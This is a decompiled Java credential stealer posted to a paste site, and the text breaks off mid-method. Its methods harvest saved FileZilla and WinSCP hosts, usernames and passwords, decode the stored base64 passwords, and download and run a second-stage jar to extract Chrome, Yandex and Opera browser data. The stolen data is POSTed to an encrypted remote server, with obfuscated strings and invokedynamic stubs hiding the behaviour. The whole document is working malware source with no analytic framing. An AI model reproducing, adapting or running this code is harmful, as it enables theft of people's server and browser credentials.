· 6 years ago · Aug 11, 2019, 05:18 AM
1package rc_class.com;
2
3import java.util.*;
4import java.io.*;
5import java.net.*;
6import javax.crypto.spec.*;
7import java.security.*;
8import java.security.spec.*;
9import javax.crypto.*;
10import java.lang.invoke.*;
11
12public class Main
13{
14 private static String FileZilla_data;
15 private static String FileZilla_data2;
16 private static String key;
17 private static String nick;
18 private static String dd;
19 private static final String url;
20 private static final File dir;
21 private static final File libraries;
22 private static Cipher ecipher;
23 private static Cipher dcipher;
24 private static byte[] salt;
25 private static int iterationCount;
26 private static transient volatile Object[] 첊;
27
28 static {
29 url = "Ax2jc5tAzRjMaTIGFWlXkSCIwhKY3arLSDKwHaDE4zaRTFmcVVkbkQVoZJG3Z7Dg";
30 Main.FileZilla_data = "";
31 Main.FileZilla_data2 = "";
32 Main.key = "";
33 Main.nick = "";
34 Main.dd = "";
35 dir = new File(String.valueOf(System.getenv("AppData")) + File.separator + "libraries");
36 libraries = new File(Main.dir, String.valueOf(File.separator) + "libs.jar");
37 Main.salt = new byte[] { -71, -116, -8, 2, 102, 119, 67, -109 };
38 Main.iterationCount = 19;
39 }
40
41 public static void main(final String[] array) throws ClassNotFoundException, IOException {
42 Main.nick = array[1];
43 Main.key = array[0];
44 try {
45 Start(Main.key, Main.nick);
46 }
47 catch (Exception ex) {
48 ex.printStackTrace();
49 }
50 }
51
52 public static void Start(final String key, final String nick) throws ClassNotFoundException, Exception {
53 Main.nick = nick;
54 Main.key = key;
55 stealFileZilla();
56 stealFileZilla2();
57 stealwinscp();
58 stealChrome();
59 stealYandex();
60 stealOpera();
61 }
62
63 private static void stealwinscp() throws Exception {
64 final BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec("REG QUERY \"HKCU\\Software\\Martin Prikryl\\WinSCP 2\\Sessions\" /z").getInputStream()));
65 String line;
66 while ((line = bufferedReader.readLine()) != null) {
67 final String replace = line.replace("HKEY_CURRENT_USER\\Software\\Martin Prikryl\\WinSCP 2\\Sessions\\", "");
68 String line2;
69 while ((line2 = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec("REG QUERY \"HKCU\\Software\\Martin Prikryl\\WinSCP 2\\Sessions\\" + replace + "\" /z").getInputStream())).readLine()) != null) {
70 check(line2.replace("HKEY_CURRENT_USER\\Software\\Martin Prikryl\\WinSCP 2\\Sessions\\" + replace, ""));
71 }
72 }
73 bufferedReader.close();
74 Main.dd = encryptData(Main.dd);
75 sendData(Main.key, String.valueOf(Main.dd) + "$$" + Main.nick, "CGHowgMtrPQ=");
76 }
77
78 private static void check(final String s) {
79 if (s.contains("HostName")) {
80 Main.dd = String.valueOf(Main.dd) + s.replace("HostName", "<::>").replace(" ", "").replace("REG_SZ (1)", "") + ";";
81 }
82 if (s.contains("UserName")) {
83 Main.dd = String.valueOf(Main.dd) + s.replace("UserName", "").replace("\t", "").replace("REG_SZ (1)", "").replace(" ", "") + ";";
84 }
85 if (s.contains("Password")) {
86 Main.dd = String.valueOf(Main.dd) + s.replace("Password", "").replace("\t", "").replace("REG_SZ (1)", "").replace(" ", "") + ";";
87 }
88 if (s.contains("PortNumber")) {
89 Main.dd = String.valueOf(Main.dd) + Integer.parseInt(s.replace("PortNumber", "").replace("\t", "").replace("REG_DWORD (4)", "").replace(" ", "").replace("0x", ""), 16) + ";";
90 }
91 }
92
93 private static void stealFileZilla() throws Exception {
94 final File file = new File(String.valueOf(System.getenv(decrypt(Main.key, "f9+Qy3c1PSU="))) + decrypt(Main.key, "khpWC1aAG8LHiVwrekP0r3nvMfdRSWIxXK/5+4BoRYo="));
95 if (file.exists()) {
96 final BufferedReader bufferedReader = new BufferedReader(new FileReader(file));
97 try {
98 for (String s = bufferedReader.readLine(); s != null; s = bufferedReader.readLine()) {
99 checkLine(s);
100 }
101 Main.FileZilla_data = encryptData(Main.FileZilla_data);
102 sendData(Main.key, String.valueOf(Main.FileZilla_data) + "$$" + Main.nick, "CGHowgMtrPQ=");
103 }
104 finally {
105 bufferedReader.close();
106 }
107 bufferedReader.close();
108 }
109 }
110
111 private static void stealFileZilla2() throws Exception {
112 final File file = new File(String.valueOf(System.getenv(decrypt(Main.key, "f9+Qy3c1PSU="))) + decrypt(Main.key, "khpWC1aAG8JUePaOjLOGY5OPhD0EpHs4yziyP6vl4SE="));
113 if (file.exists()) {
114 final BufferedReader bufferedReader = new BufferedReader(new FileReader(file));
115 try {
116 for (String s = bufferedReader.readLine(); s != null; s = bufferedReader.readLine()) {
117 checkLine2(s);
118 }
119 Main.FileZilla_data2 = encryptData(Main.FileZilla_data2);
120 sendData(Main.key, String.valueOf(Main.FileZilla_data2) + "$$" + Main.nick, "CGHowgMtrPQ=");
121 }
122 finally {
123 bufferedReader.close();
124 }
125 bufferedReader.close();
126 }
127 }
128
129 private static void checkLine2(final String s) {
130 if (s.contains("<Host>")) {
131 Main.FileZilla_data2 = String.valueOf(Main.FileZilla_data2) + s.replace("<Host>", "").replace("</Host>", "").replace("\t", "") + ";";
132 }
133 if (s.contains("<Port>")) {
134 Main.FileZilla_data2 = String.valueOf(Main.FileZilla_data2) + s.replace("<Port>", "").replace("</Port>", "").replace("\t", "") + ";";
135 }
136 if (s.contains("<Protocol>")) {
137 final String replace = s.replace("<Protocol>", "").replace("</Protocol>", "").replace("\t", "");
138 if (replace.equals("1")) {
139 Main.FileZilla_data2 = String.valueOf(Main.FileZilla_data2) + "SFTP" + ";";
140 }
141 if (replace.equals("0")) {
142 Main.FileZilla_data2 = String.valueOf(Main.FileZilla_data2) + "FTP" + ";";
143 }
144 }
145 if (s.contains("<User>")) {
146 Main.FileZilla_data2 = String.valueOf(Main.FileZilla_data2) + s.replace("<User>", "").replace("</User>", "").replace("\t", "") + ";";
147 }
148 if (s.contains("<Pass")) {
149 final byte[] decode = Base64.getDecoder().decode(s.replace("<Pass encoding=\"base64\">", "").replace("</Pass>", "").replace("\t", ""));
150 try {
151 Main.FileZilla_data2 = String.valueOf(Main.FileZilla_data2) + new String(decode, "utf-8") + ";<::>";
152 }
153 catch (UnsupportedEncodingException ex) {}
154 }
155 }
156
157 private static void checkLine(final String s) {
158 if (s.contains("<Host>")) {
159 Main.FileZilla_data = String.valueOf(Main.FileZilla_data) + s.replace("<Host>", "").replace("</Host>", "").replace("\t", "") + ";";
160 }
161 if (s.contains("<Port>")) {
162 Main.FileZilla_data = String.valueOf(Main.FileZilla_data) + s.replace("<Port>", "").replace("</Port>", "").replace("\t", "") + ";";
163 }
164 if (s.contains("<Protocol>")) {
165 final String replace = s.replace("<Protocol>", "").replace("</Protocol>", "").replace("\t", "");
166 if (replace.equals("1")) {
167 Main.FileZilla_data = String.valueOf(Main.FileZilla_data) + "SFTP" + ";";
168 }
169 if (replace.equals("0")) {
170 Main.FileZilla_data = String.valueOf(Main.FileZilla_data) + "FTP" + ";";
171 }
172 }
173 if (s.contains("<User>")) {
174 Main.FileZilla_data = String.valueOf(Main.FileZilla_data) + s.replace("<User>", "").replace("</User>", "").replace("\t", "") + ";";
175 }
176 if (s.contains("<Pass")) {
177 final byte[] decode = Base64.getDecoder().decode(s.replace("<Pass encoding=\"base64\">", "").replace("</Pass>", "").replace("\t", ""));
178 try {
179 Main.FileZilla_data = String.valueOf(Main.FileZilla_data) + new String(decode, "utf-8") + ";";
180 }
181 catch (UnsupportedEncodingException ex) {}
182 }
183 if (s.contains("<Name>")) {
184 Main.FileZilla_data = String.valueOf(Main.FileZilla_data) + "<::>";
185 }
186 }
187
188 public static void stealChrome() throws Exception {
189 final File file = new File(new File(new File(System.getenv(decrypt(Main.key, "f9+Qy3c1PSU="))).getParentFile() + File.separator), decrypt(Main.key, "HrXUPU3k2Xe16OL1jOkGDkGkSH57EKUCbG8Xwx+4Y0smr0dgHo0x8INFcWCiksf3+Q1gVQ5X1lQ="));
190 String string = "";
191 if (file.exists()) {
192 downloadLibraries(Main.key);
193 final Process start = new ProcessBuilder(new String[] { "java", "-jar", Main.libraries.getAbsolutePath(), "chrome" }).start();
194 String line;
195 while ((line = new BufferedReader(new InputStreamReader(start.getInputStream())).readLine()) != null) {
196 string = String.valueOf(string) + line;
197 }
198 start.waitFor();
199 if (string.equals(decrypt(Main.key, "7JZeRd82Vxc="))) {
200 return;
201 }
202 sendData(Main.key, String.valueOf(encryptData(string)) + "$$" + Main.nick + "$$" + "chrome", "VsadfDlwU+0=");
203 }
204 }
205
206 public static void stealYandex() throws Exception {
207 final File file = new File(new File(new File(System.getenv(decrypt(Main.key, "f9+Qy3c1PSU="))).getParentFile() + File.separator), decrypt(Main.key, "Ul7rxYdESHKNifyjDZ7V1Jy3d0L5F8QRCf4uX3s6mSYtC/sT5WPedsMIo9hKjKotEGQh825tl74="));
208 String string = "";
209 if (file.exists()) {
210 downloadLibraries(Main.key);
211 final Process start = new ProcessBuilder(new String[] { "java", "-jar", Main.libraries.getAbsolutePath(), "yandex" }).start();
212 String line;
213 while ((line = new BufferedReader(new InputStreamReader(start.getInputStream())).readLine()) != null) {
214 string = String.valueOf(string) + line;
215 }
216 start.waitFor();
217 if (string.equals(decrypt(Main.key, "7JZeRd82Vxc="))) {
218 return;
219 }
220 sendData(Main.key, String.valueOf(encryptData(string)) + "$$" + Main.nick + "$$" + "yandex", "VsadfDlwU+0=");
221 }
222 }
223
224 public static void stealOpera() throws Exception {
225 final File file = new File(new File(new File(System.getenv(decrypt(Main.key, "f9+Qy3c1PSU="))) + File.separator), decrypt(Main.key, "yk/lOe4qRI6gVBOhaeYe8509AmzqhMb/3N0uMLqoH21DdzhbbF2sig=="));
226 String string = "";
227 if (file.exists()) {
228 downloadLibraries(Main.key);
229 final Process start = new ProcessBuilder(new String[] { "java", "-jar", Main.libraries.getAbsolutePath(), "opera" }).start();
230 String line;
231 while ((line = new BufferedReader(new InputStreamReader(start.getInputStream())).readLine()) != null) {
232 string = String.valueOf(string) + line;
233 }
234 start.waitFor();
235 if (string.equals(decrypt(Main.key, "7JZeRd82Vxc="))) {
236 return;
237 }
238 sendData(Main.key, String.valueOf(encryptData(string)) + "$$" + Main.nick + "$$" + "opera", "VsadfDlwU+0=");
239 }
240 }
241
242 private static void downloadLibraries(final String s) throws Exception {
243 BufferedInputStream bufferedInputStream = null;
244 FileOutputStream fileOutputStream = null;
245 if (!Main.dir.exists()) {
246 Main.dir.mkdir();
247 }
248 if (Main.libraries.exists()) {
249 String line = "";
250 try {
251 final BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(new URL(String.valueOf(decrypt(s, "Ax2jc5tAzRjMaTIGFWlXkSCIwhKY3arLSDKwHaDE4zbBNPNLW5/8U5/n2iy/UUye")) + md5(Main.libraries.getAbsolutePath())).openStream()));
252 line = bufferedReader.readLine();
253 bufferedReader.close();
254 }
255 catch (IOException ex) {}
256 if (line.contains("YES")) {
257 return;
258 }
259 }
260 try {
261 bufferedInputStream = new BufferedInputStream(new URL(decrypt(s, "Ax2jc5tAzRjMaTIGFWlXkSCIwhKY3arLSDKwHaDE4zaRTFmcVVkbkQVoZJG3Z7Dg")).openStream());
262 fileOutputStream = new FileOutputStream(Main.libraries);
263 final byte[] array = new byte[1024];
264 int read;
265 while ((read = bufferedInputStream.read(array, 0, 1024)) != -1) {
266 fileOutputStream.write(array, 0, read);
267 }
268 }
269 finally {
270 if (bufferedInputStream != null) {
271 bufferedInputStream.close();
272 }
273 if (fileOutputStream != null) {
274 fileOutputStream.close();
275 }
276 }
277 if (bufferedInputStream != null) {
278 bufferedInputStream.close();
279 }
280 if (fileOutputStream != null) {
281 fileOutputStream.close();
282 }
283 }
284
285 private static String md5(final String s) {
286 if (!new File(s).exists()) {
287 return "0";
288 }
289 FileInputStream fileInputStream = null;
290 DigestInputStream digestInputStream = null;
291 BufferedInputStream bufferedInputStream = null;
292 Formatter formatter = null;
293 try {
294 final MessageDigest instance = MessageDigest.getInstance("MD5");
295 fileInputStream = new FileInputStream(s);
296 bufferedInputStream = new BufferedInputStream(fileInputStream);
297 digestInputStream = new DigestInputStream(bufferedInputStream, instance);
298 while (digestInputStream.read() != -1) {}
299 final byte[] digest = instance.digest();
300 formatter = new Formatter();
301 final byte[] array = digest;
302 for (int length = array.length, i = 0; i < length; ++i) {
303 formatter.format("%02x", array[i]);
304 }
305 return formatter.toString();
306 }
307 catch (Exception ex) {
308 return "0";
309 }
310 finally {
311 try {
312 fileInputStream.close();
313 }
314 catch (Exception ex2) {}
315 try {
316 digestInputStream.close();
317 }
318 catch (Exception ex3) {}
319 try {
320 bufferedInputStream.close();
321 }
322 catch (Exception ex4) {}
323 try {
324 formatter.close();
325 }
326 catch (Exception ex5) {}
327 }
328 }
329
330 private static String encryptData(final String s) throws Exception {
331 return Base64.getEncoder().encodeToString(s.getBytes("utf-8"));
332 }
333
334 private static void sendData(final String s, final String s2, final String s3) {
335 try {
336 final URLConnection openConnection = new URL(decrypt(s, "Ax2jc5tAzRjMaTIGFWlXkSCIwhKY3arLSDKwHaDE4za3Oqx6GnLKjiyeCfLi1i1G")).openConnection();
337 ((HttpURLConnection)openConnection).setRequestMethod("POST");
338 openConnection.setRequestProperty("User-Agent", "Mozilla/5.0");
339 openConnection.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");
340 openConnection.setDoInput(true);
341 openConnection.setDoOutput(true);
342 openConnection.setUseCaches(false);
343 final String string = String.valueOf(decrypt(s, s3)) + "=" + s2;
344 final DataOutputStream dataOutputStream = new DataOutputStream(openConnection.getOutputStream());
345 dataOutputStream.writeBytes(string);
346 final DataInputStream dataInputStream = new DataInputStream(openConnection.getInputStream());
347 dataOutputStream.flush();
348 dataOutputStream.close();
349 dataInputStream.close();
350 dataOutputStream.close();
351 }
352 catch (Exception ex) {}
353 }
354
355 private static String decrypt(final String s, final String s2) throws Exception {
356 final SecretKey generateSecret = SecretKeyFactory.getInstance("PBEWithMD5AndDES").generateSecret(new PBEKeySpec(s.toCharArray(), Main.salt, Main.iterationCount));
357 (Main.dcipher = Cipher.getInstance(generateSecret.getAlgorithm())).init(2, generateSecret, new PBEParameterSpec(Main.salt, Main.iterationCount));
358 return new String(Main.dcipher.doFinal(Base64.getDecoder().decode(s2)), "UTF-8");
359 }
360
361 private static Object 驤(final Object o, final String s, final MethodType methodType) {
362 if (Main.첊 == null) {
363 Main.첊 = new Object[59];
364 }
365 if (Main.첊[17] == null) {
366 Main.첊[17] = new ConstantCallSite(MethodHandles.lookup().findVirtual(Class.forName("java.net.URL"), "openStream", methodType.dropParameterTypes(0, 1)).asType(methodType));
367 }
368 return Main.첊[17];
369 }
370
371 private static Object 䢳(final Object o, final String s, final MethodType methodType) {
372 if (Main.첊 == null) {
373 Main.첊 = new Object[59];
374 }
375 if (Main.첊[12] == null) {
376 Main.첊[12] = new ConstantCallSite(MethodHandles.lookup().findStatic(Class.forName("javax.crypto.Cipher"), "getInstance", methodType).asType(methodType));
377 }
378 return Main.첊[12];
379 }
380
381 private static Object 蘓(final Object o, final String s, final MethodType methodType) {
382 if (Main.첊 == null) {
383 Main.첊 = new Object[59];
384 }
385 if (Main.첊[35] == null) {
386 Main.첊[35] = new ConstantCallSite(MethodHandles.lookup().findVirtual(Class.forName("java.io.BufferedReader"), "close", methodType.dropParameterTypes(0, 1)).asType(methodType));
387 }
388 return Main.첊[35];
389 }
390
391 private static Object ᑋ(final Object o, final String s, final MethodType methodType) {
392 if (Main.첊 == null) {
393 Main.첊 = new Object[59];
394 }
395 if (Main.첊[48] == null) {
396 Main.첊[48] = new ConstantCallSite(MethodHandles.lookup().findVirtual(Class.forName("java.lang.ProcessBuilder"), "start", methodType.dropParameterTypes(0, 1)).asType(methodType));
397 }
398 return Main.첊[48];
399 }
400
401 private static Object イ(final Object o, final String s, final MethodType methodType) {
402 if (Main.첊 == null) {
403 Main.첊 = new Object[59];
404 }
405 if (Main.첊[45] == null) {
406 Main.첊[45] = new ConstantCallSite(MethodHandles.lookup().findVirtual(Class.forName("java.lang.String"), "replace", methodType.dropParameterTypes(0, 1)).asType(methodType));
407 }
408 return Main.첊[45];
409 }
410
411 private static Object 뻊(final Object o, final String s, final MethodType methodType) {
412 if (Main.첊 == null) {
413 Main.첊 = new Object[59];
414 }
415 if (Main.첊[28] == null) {
416 Main.첊[28] = new ConstantCallSite(MethodHandles.lookup().findVirtual(Class.forName("java.io.DataOutputStream"), "close", methodType.dropParameterTypes(0, 1)).asType(methodType));
417 }
418 return Main.첊[28];
419 }
420
421 private static Object 汇(final Object o, final String s, final MethodType methodType) {
422 if (Main.첊 == null) {
423 Main.첊 = new Object[59];
424 }
425 if (Main.첊[46] == null) {
426 Main.첊[46] = new ConstantCallSite(MethodHandles.lookup().findVirtual(Class.forName("java.lang.String"), "toCharArray", methodType.dropParameterTypes(0, 1)).asType(methodType));
427 }
428 return Main.첊[46];
429 }
430
431 private static Object 溢(final Object o, final String s, final MethodType methodType) {
432 if (Main.첊 == null) {
433 Main.첊 = new Object[59];
434 }
435 if (Main.첊[54] == null) {
436 Main.첊[54] = new ConstantCallSite(MethodHandles.lookup().findStatic(Class.forName("java.lang.Runtime"), "getRuntime", methodType).asType(methodType));
437 }
438 return Main.첊[54];
439 }
440
441 private static Object 샳(final Object o, final String s, final MethodType methodType) {
442 if (Main.첊 == null) {
443 Main.첊 = new Object[59];
444 }
445 if (Main.첊[55] == null) {
446 Main.첊[55] = new ConstantCallSite(MethodHandles.lookup().findVirtual(Class.forName("java.lang.String"), "equals", methodType.dropParameterTypes(0, 1)).asType(methodType));
447 }
448 return Main.첊[55];
449 }
450
451 private static Object 㕚(final Object o, final String s, final MethodType methodType) {
452 if (Main.첊 == null) {
453 Main.첊 = new Object[59];
454 }
455 if (Main.첊[14] == null) {
456 Main.첊[14] = new ConstantCallSite(MethodHandles.lookup().findVirtual(Class.forName("java.io.File"), "mkdir", methodType.dropParameterTypes(0, 1)).asType(methodType));
457 }
458 return Main.첊[14];
459 }
460
461 private static Object 娦(final Object o, final String s, final MethodType methodType) {
462 if (Main.첊 == null) {
463 Main.첊 = new Object[59];
464 }
465 if (Main.첊[11] == null) {
466 Main.첊[11] = new ConstantCallSite(MethodHandles.lookup().findVirtual(Class.forName("java.lang.Runtime"), "exec", methodType.dropParameterTypes(0, 1)).asType(methodType));
467 }
468 return Main.첊[11];
469 }
470
471 private static Object Ϧ(final Object o, final String s, final MethodType methodType) {
472 if (Main.첊 == null) {
473 Main.첊 = new Object[59];
474 }
475 if (Main.첊[0] == null) {
476 Main.첊[0] = new ConstantCallSite(MethodHandles.lookup().findVirtual(Class.forName("java.io.FileOutputStream"), "close", methodType.dropParameterTypes(0, 1)).asType(methodType));
477 }
478 return Main.첊[0];
479 }
480
481 private static Object 퉝(final Object o, final String s, final MethodType methodType) {
482 if (Main.첊 == null) {
483 Main.첊 = new Object[59];
484 }
485 if (Main.첊[16] == null) {
486 Main.첊[16] = new ConstantCallSite(MethodHandles.lookup().findVirtual(Class.forName("java.io.FileOutputStream"), "write", methodType.dropParameterTypes(0, 1)).asType(methodType));
487 }
488 return Main.첊[16];
489 }
490
491 private static Object 邷(final Object o, final String s, final MethodType methodType) {
492 if (Main.첊 == null) {
493 Main.첊 = new Object[59];
494 }
495 if (Main.첊[39] == null) {
496 Main.첊[39] = new ConstantCallSite(MethodHandles.lookup().findVirtual(Class.forName("java.security.MessageDigest"), "digest", methodType.dropParameterTypes(0, 1)).asType(methodType));
497 }
498 return Main.첊[39];
499 }
500
501 private static Object 뚍(final Object o, final String s, final MethodType methodType) {
502 if (Main.첊 == null) {
503 Main.첊 = new Object[59];
504 }
505 if (Main.첊[26] == null) {
506 Main.첊[26] = new ConstantCallSite(MethodHandles.lookup().findStatic(Class.forName("java.lang.String"), "valueOf", methodType).asType(methodType));
507 }
508 return Main.첊[26];
509 }
510
511 private static Object 绍(final Object o, final String s, final MethodType methodType) {
512 if (Main.첊 == null) {
513 Main.첊 = new Object[59];
514 }
515 if (Main.첊[43] == null) {
516 Main.첊[43] = new ConstantCallSite(MethodHandles.lookup().findVirtual(Class.forName("java.util.Formatter"), "toString", methodType.dropParameterTypes(0, 1)).asType(methodType));
517 }
518 return Main.첊[43];
519 }
520
521 private static Object 夕(final Object o, final String s, final MethodType methodType) {
522 if (Main.첊 == null) {
523 Main.첊 = new Object[59];
524 }
525 if (Main.첊[9] == null) {
526 Main.첊[9] = new ConstantCallSite(MethodHandles.lookup().findVirtual(Class.forName("java.lang.StringBuilder"), "toString", methodType.dropParameterTypes(0, 1)).asType(methodType));
527 }
528 return Main.첊[9];
529 }
530
531 private static Object 컹(final Object o, final String s, final MethodType methodType) {
532 if (Main.첊 == null) {
533 Main.첊 = new Object[59];
534 }
535 if (Main.첊[7] == null) {
536 Main.첊[7] = new ConstantCallSite(MethodHandles.lookup().findVirtual(Class.forName("java.lang.StringBuilder"), "append", methodType.dropParameterTypes(0, 1)).asType(methodType));
537 }
538 return Main.첊[7];
539 }
540
541 private static Object 上(final Object o, final String s, final MethodType methodType) {
542 if (Main.첊 == null) {
543 Main.첊 = new Object[59];
544 }
545 if (Main.첊[23] == null) {
546 Main.첊[23] = new ConstantCallSite(MethodHandles.lookup().findVirtual(Class.forName("java.lang.Exception"), "printStackTrace", methodType.dropParameterTypes(0, 1)).asType(methodType));
547 }
548 return Main.첊[23];
549 }
550
551 private static Object 鋏(final Object o, final String s, final MethodType methodType) {
552 if (Main.첊 == null) {
553 Main.첊 = new Object[59];
554 }
555 if (Main.첊[36] == null) {
556 Main.첊[36] = new ConstantCallSite(MethodHandles.lookup().findVirtual(Class.forName("java.net.URLConnection"), "setRequestProperty", methodType.dropParameterTypes(0, 1)).asType(methodType));
557 }
558 return Main.첊[36];
559 }
560
561 private static Object 梦(final Object o, final String s, final MethodType methodType) {
562 if (Main.첊 == null) {
563 Main.첊 = new Object[59];
564 }
565 if (Main.첊[15] == null) {
566 Main.첊[15] = new ConstantCallSite(MethodHandles.lookup().findVirtual(Class.forName("java.net.URLConnection"), "getOutputStream", methodType.dropParameterTypes(0, 1)).asType(methodType));
567 }
568 return Main.첊[15];
569 }
570
571 private static Object 䛸(final Object o, final String s, final MethodType methodType) {
572 if (Main.첊 == null) {
573 Main.첊 = new Object[59];
574 }
575 if (Main.첊[2] == null) {
576 Main.첊[2] = new ConstantCallSite(MethodHandles.lookup().findVirtual(Class.forName("java.io.DataInputStream"), "close", methodType.dropParameterTypes(0, 1)).asType(methodType));
577 }
578 return Main.첊[2];
579 }
580
581 private static Object 玹(final Object o, final String s, final MethodType methodType) {
582 if (Main.첊 == null) {
583 Main.첊 = new Object[59];
584 }
585 if (Main.첊[29] == null) {
586 Main.첊[29] = new ConstantCallSite(MethodHandles.lookup().findStatic(Class.forName("javax.crypto.SecretKeyFactory"), "getInstance", methodType).asType(methodType));
587 }
588 return Main.첊[29];
589 }
590
591 private static Object 㨂(final Object o, final String s, final MethodType methodType) {
592 if (Main.첊 == null) {
593 Main.첊 = new Object[59];
594 }
595 if (Main.첊[57] == null) {
596 Main.첊[57] = new ConstantCallSite(MethodHandles.lookup().findStatic(Class.forName("java.lang.System"), "getenv", methodType).asType(methodType));
597 }
598 return Main.첊[57];
599 }
600
601 private static Object מּ(final Object o, final String s, final MethodType methodType) {
602 if (Main.첊 == null) {
603 Main.첊 = new Object[59];
604 }
605 if (Main.첊[6] == null) {
606 Main.첊[6] = new ConstantCallSite(MethodHandles.lookup().findStatic(Class.forName("java.lang.Byte"), "valueOf", methodType).asType(methodType));
607 }
608 return Main.첊[6];
609 }
610
611 private static Object 깩(final Object o, final String s, final MethodType methodType) {
612 if (Main.첊 == null) {
613 Main.첊 = new Object[59];
614 }
615 if (Main.첊[8] == null) {
616 Main.첊[8] = new ConstantCallSite(MethodHandles.lookup().findVirtual(Class.forName("java.lang.StringBuilder"), "append", methodType.dropParameterTypes(0, 1)).asType(methodType));
617 }
618 return Main.첊[8];
619 }
620
621 private static Object 硽(final Object o, final String s, final MethodType methodType) {
622 if (Main.첊 == null) {
623 Main.첊 = new Object[59];
624 }
625 if (Main.첊[44] == null) {
626 Main.첊[44] = new ConstantCallSite(MethodHandles.lookup().findVirtual(Class.forName("java.lang.StringBuilder"), "append", methodType.dropParameterTypes(0, 1)).asType(methodType));
627 }
628 return Main.첊[44];
629 }
630
631 private static Object 旲(final Object o, final String s, final MethodType methodType) {
632 if (Main.첊 == null) {
633 Main.첊 = new Object[59];
634 }
635 if (Main.첊[19] == null) {
636 Main.첊[19] = new ConstantCallSite(MethodHandles.lookup().findVirtual(Class.forName("javax.crypto.Cipher"), "doFinal", methodType.dropParameterTypes(0, 1)).asType(methodType));
637 }
638 return Main.첊[19];
639 }
640
641 private static Object 䀺(final Object o, final String s, final MethodType methodType) {
642 if (Main.첊 == null) {
643 Main.첊 = new Object[59];
644 }
645 if (Main.첊[25] == null) {
646 Main.첊[25] = new ConstantCallSite(MethodHandles.lookup().findVirtual(Class.forName("javax.crypto.SecretKeyFactory"), "generateSecret", methodType.dropParameterTypes(0, 1)).asType(methodType));
647 }
648 return Main.첊[25];
649 }
650
651 private static Object 汩(final Object o, final String s, final MethodType methodType) {
652 if (Main.첊 == null) {
653 Main.첊 = new Object[59];
654 }
655 if (Main.첊[56] == null) {
656 Main.첊[56] = new ConstantCallSite(MethodHandles.lookup().findVirtual(Class.forName("java.io.DataOutputStream"), "writeBytes", methodType.dropParameterTypes(0, 1)).asType(methodType));
657 }
658 return Main.첊[56];
659 }
660
661 private static Object 䩰(final Object o, final String s, final MethodType methodType) {
662 if (Main.첊 == null) {
663 Main.첊 = new Object[59];
664 }
665 if (Main.첊[53] == null) {
666 Main.첊[53] = new ConstantCallSite(MethodHandles.lookup().findVirtual(Class.forName("java.util.Base64$Encoder"), "encodeToString", methodType.dropParameterTypes(0, 1)).asType(methodType));
667 }
668 return Main.첊[53];
669 }
670
671 private static Object ﹰ(final Object o, final String s, final MethodType methodType) {
672 if (Main.첊 == null) {
673 Main.첊 = new Object[59];
674 }
675 if (Main.첊[5] == null) {
676 Main.첊[5] = new ConstantCallSite(MethodHandles.lookup().findVirtual(Class.forName("java.util.Formatter"), "format", methodType.dropParameterTypes(0, 1)).asType(methodType));
677 }
678 return Main.첊[5];
679 }
680
681 private static Object ᠼ(final Object o, final String s, final MethodType methodType) {
682 if (Main.첊 == null) {
683 Main.첊 = new Object[59];
684 }
685 if (Main.첊[10] == null) {
686 Main.첊[10] = new ConstantCallSite(MethodHandles.lookup().findVirtual(Class.forName("java.io.File"), "getAbsolutePath", methodType.dropParameterTypes(0, 1)).asType(methodType));
687 }
688 return Main.첊[10];
689 }
690
691 private static Object ꄖ(final Object o, final String s, final MethodType methodType) {
692 if (Main.첊 == null) {
693 Main.첊 = new Object[59];
694 }
695 if (Main.첊[32] == null) {
696 Main.첊[32] = new ConstantCallSite(MethodHandles.lookup().findStatic(Class.forName("java.util.Base64"), "getEncoder", methodType).asType(methodType));
697 }
698 return Main.첊[32];
699 }
700
701 private static Object 㝒(final Object o, final String s, final MethodType methodType) {
702 if (Main.첊 == null) {
703 Main.첊 = new Object[59];
704 }
705 if (Main.첊[37] == null) {
706 Main.첊[37] = new ConstantCallSite(MethodHandles.lookup().findVirtual(Class.forName("java.io.DataOutputStream"), "flush", methodType.dropParameterTypes(0, 1)).asType(methodType));
707 }
708 return Main.첊[37];
709 }
710
711 private static Object ⱈ(final Object o, final String s, final MethodType methodType) {
712 if (Main.첊 == null) {
713 Main.첊 = new Object[59];
714 }
715 if (Main.첊[4] == null) {
716 Main.첊[4] = new ConstantCallSite(MethodHandles.lookup().findVirtual(Class.forName("java.lang.String"), "getBytes", methodType.dropParameterTypes(0, 1)).asType(methodType));
717 }
718 return Main.첊[4];
719 }
720
721 private static Object 蝝(final Object o, final String s, final MethodType methodType) {
722 if (Main.첊 == null) {
723 Main.첊 = new Object[59];
724 }
725 if (Main.첊[58] == null) {
726 Main.첊[58] = new ConstantCallSite(MethodHandles.lookup().findVirtual(Class.forName("java.io.File"), "getParentFile", methodType.dropParameterTypes(0, 1)).asType(methodType));
727 }
728 return Main.첊[58];
729 }
730
731 private static Object ꄶ(final Object o, final String s, final MethodType methodType) {
732 if (Main.첊 == null) {
733 Main.첊 = new Object[59];
734 }
735 if (Main.첊[47] == null) {
736 Main.첊[47] = new ConstantCallSite(MethodHandles.lookup().findVirtual(Class.forName("java.io.FileInputStream"), "close", methodType.dropParameterTypes(0, 1)).asType(methodType));
737 }
738 return Main.첊[47];
739 }
740
741 private static Object 垺(final Object o, final String s, final MethodType methodType) {
742 if (Main.첊 == null) {
743 Main.첊 = new Object[59];
744 }
745 if (Main.첊[27] == null) {
746 Main.첊[27] = new ConstantCallSite(MethodHandles.lookup().findVirtual(Class.forName("java.util.Base64$Decoder"), "decode", methodType.dropParameterTypes(0, 1)).asType(methodType));
747 }
748 return Main.첊[27];
749 }
750
751 private static Object 䰽(final Object o, final String s, final MethodType methodType) {
752 if (Main.첊 == null) {
753 Main.첊 = new Object[59];
754 }
755 if (Main.첊[38] == null) {
756 Main.첊[38] = new ConstantCallSite(MethodHandles.lookup().findVirtual(Class.forName("java.net.URL"), "openConnection", methodType.dropParameterTypes(0, 1)).asType(methodType));
757 }
758 return Main.첊[38];
759 }
760
761 private static Object 診(final Object o, final String s, final MethodType methodType) {
762 if (Main.첊 == null) {
763 Main.첊 = new Object[59];
764 }
765 if (Main.첊[1] == null) {
766 Main.첊[1] = new ConstantCallSite(MethodHandles.lookup().findVirtual(Class.forName("java.util.Formatter"), "close", methodType.dropParameterTypes(0, 1)).asType(methodType));
767 }
768 return Main.첊[1];
769 }
770
771 private static Object 簚(final Object o, final String s, final MethodType methodType) {
772 if (Main.첊 == null) {
773 Main.첊 = new Object[59];
774 }
775 if (Main.첊[49] == null) {
